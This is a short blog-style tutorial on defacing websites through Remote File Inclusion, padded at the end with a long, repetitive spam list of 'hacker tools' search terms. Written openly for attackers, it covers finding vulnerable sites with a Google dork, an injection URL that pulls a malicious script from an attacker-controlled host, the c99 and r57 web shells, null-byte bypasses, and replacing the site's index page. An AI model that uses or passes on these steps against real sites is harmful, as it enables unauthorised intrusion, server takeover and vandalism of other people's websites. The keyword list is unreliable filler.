HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on the website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of the tutorial, I suppose you will know what it is all about and may be able to deploy an attack.

RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put a red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of the servers today are hosted on Linux.

SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?

First of all, we need to find out an RFI vulnerable website. Let's see how we can find one.

As we know finding a vulnerability is the first step to hack a website or server. So, let's get started and simply go to Google and search for the following query.

inurl: "index.php?page=home"

At the place of home, you can also try some other pages like products, gallery and etc.

If you already a know RFI vulnerable website, then you don't need to find it through Google.

Once we have found it, let's move on to the next step. Let's see we have a following RFI vulnerable website.

http://target.com/index.php?page=home

As you can see, this website pulls documents stored in text format from the server and renders them as web pages. Now we can use PHP include function to pull them out. Let's see how it works.

http://target.com/index.php?page=http://attacker.com/maliciousScript.txt

I have included my malicious code txt URL at the place of home. You can use any shell for malicious scripts like c99, r57 or any other.

Now, if it's a really vulnerable website, then there would be 3 things that can happen.

1. You might have noticed that the URL consisted of "page=home" had no extension, but I have included an extension in my URL, hence the site may give an error like 'failure to include maliciousScript.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
2. In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
3. Successful execution.

As we get the successful execution of the code, we're good to go with the shell. Now we'll browse the shell for index.php. And will replace the file with our deface page.

Related word

1. Free Pentest Tools For Windows
2. Hacker Tools Apk Download
3. Bluetooth Hacking Tools Kali
4. New Hacker Tools
5. Hacker Tool Kit
6. Hacker Tools Online
7. Pentest Box Tools Download
8. Hacker Tools Linux
9. Blackhat Hacker Tools
10. Tools For Hacker
11. Pentest Tools Website Vulnerability
12. How To Make Hacking Tools
13. Hacking Apps
14. Hack Tools Github
15. Hack App
16. Hacker Tools
17. Ethical Hacker Tools
18. Hacker Tool Kit
19. How To Hack
20. Game Hacking
21. Hacker Tools Hardware
22. Hack Tools For Windows
23. Easy Hack Tools
24. Hack App
25. Hacker Tools Free
26. Usb Pentest Tools
27. Hacker Tools Github
28. Pentest Tools Tcp Port Scanner
29. Hacking Tools For Pc
30. Hacking Tools For Pc
31. Pentest Tools For Android
32. Best Pentesting Tools 2018
33. World No 1 Hacker Software
34. Hack Tools Online
35. Hacking Tools 2020
36. Physical Pentest Tools
37. Hacking Tools For Pc
38. Hackers Toolbox
39. Hacking App
40. Pentest Tools Download
41. How To Install Pentest Tools In Ubuntu
42. Best Hacking Tools 2019
43. Pentest Tools Windows
44. Hack Tools
45. Hacker Tools Mac
46. Hacking Tools For Windows 7
47. Hack Rom Tools
48. Pentest Tools Windows
49. Hack Tools Github
50. Hack Tools
51. Hacker Tools Hardware
52. Hacking Tools Online
53. Hacking Tools Github
54. Hacking Tools For Beginners
55. Ethical Hacker Tools
56. Hacker Tools Online
57. Github Hacking Tools
58. Hacking Tools Windows
59. Hacker Tools Apk Download
60. Pentest Tools Linux
61. Github Hacking Tools
62. Hacking Tools For Mac
63. How To Hack
64. Hack Tools
65. Wifi Hacker Tools For Windows
66. Pentest Automation Tools
67. Hacker Tools Github
68. Hack Tools For Pc